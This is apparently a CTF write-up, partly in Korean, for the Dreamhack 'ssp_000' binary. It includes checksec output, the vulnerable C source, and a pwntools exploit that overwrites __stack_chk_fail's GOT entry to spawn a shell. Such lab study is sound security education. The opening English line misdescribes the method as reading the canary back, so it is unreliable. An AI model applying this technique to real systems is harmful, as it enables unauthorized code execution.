ssp_000
Stack canary present, so the exploit reads it out first and writes it back in place during the overflow.
$ checksec ./ssp_000
[*] '/Users/chaeeun/Desktop/b93fb9e8-f75a-4aa0-99da-a59711cd7602/ssp_000'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
canary, NX, partial RELRO 가 있다. 받는 버퍼는 0x40 이지만 넣을 수 있는 게 0x80 이다. 버퍼 오버플로우일 수 있겠다. 하지만 카나리 보호기법이 적용되어 있기 때문에, 그냥은 안 된다.
하지만 이 코드는 카나리 릭이 불가능하다. 왜냐하면 overflow 는 되지만, 이후에 buf 를 출력하지 않기 때문이다. 대신 카나리를 릭하지 않고 우회 가능한 구조이다. 그 방법이 arbitrary write primitive — 임의 쓰기 취약점이다.
아마 Partial RELRO 이므로 GOT overwrite 를 사용하는 문제일 거다.
- buf overflow 로 canary 를 일부러 깨뜨림
- arbitrary write 로
__stack_chk_fail@GOT를 get_shell 주소로 덮음 - main 이 return 할 때 canary check 실패
__stack_chk_fail()호출- 그런데 GOT 가 get_shell 로 바뀌어 있어서 shell 실행
즉, canary 를 leak 하는 게 아니라 canary 실패 루틴을 get_shell 로 바꿔서 우회하는 방식입니다. 필요한 값은 두 개입니다.
addr = __stack_chk_fail@GOT
value = get_shell 주소
from pwn import *
p = remote("host3.dreamhack.games", 8393)
elf = ELF("./ssp_000")
get_shell = elf.symbols["get_shell"]
stack_chk_fail_got = elf.got["__stack_chk_fail"]
# canary를 일부러 깨뜨리기 위해 0x40 보다 크게 입력
p.send(b"A" * 0x50)
p.recvuntil(b"Addr : ")
p.sendline(str(stack_chk_fail_got).encode())
p.recvuntil(b"Value : ")
p.sendline(str(get_shell).encode())
p.interactive()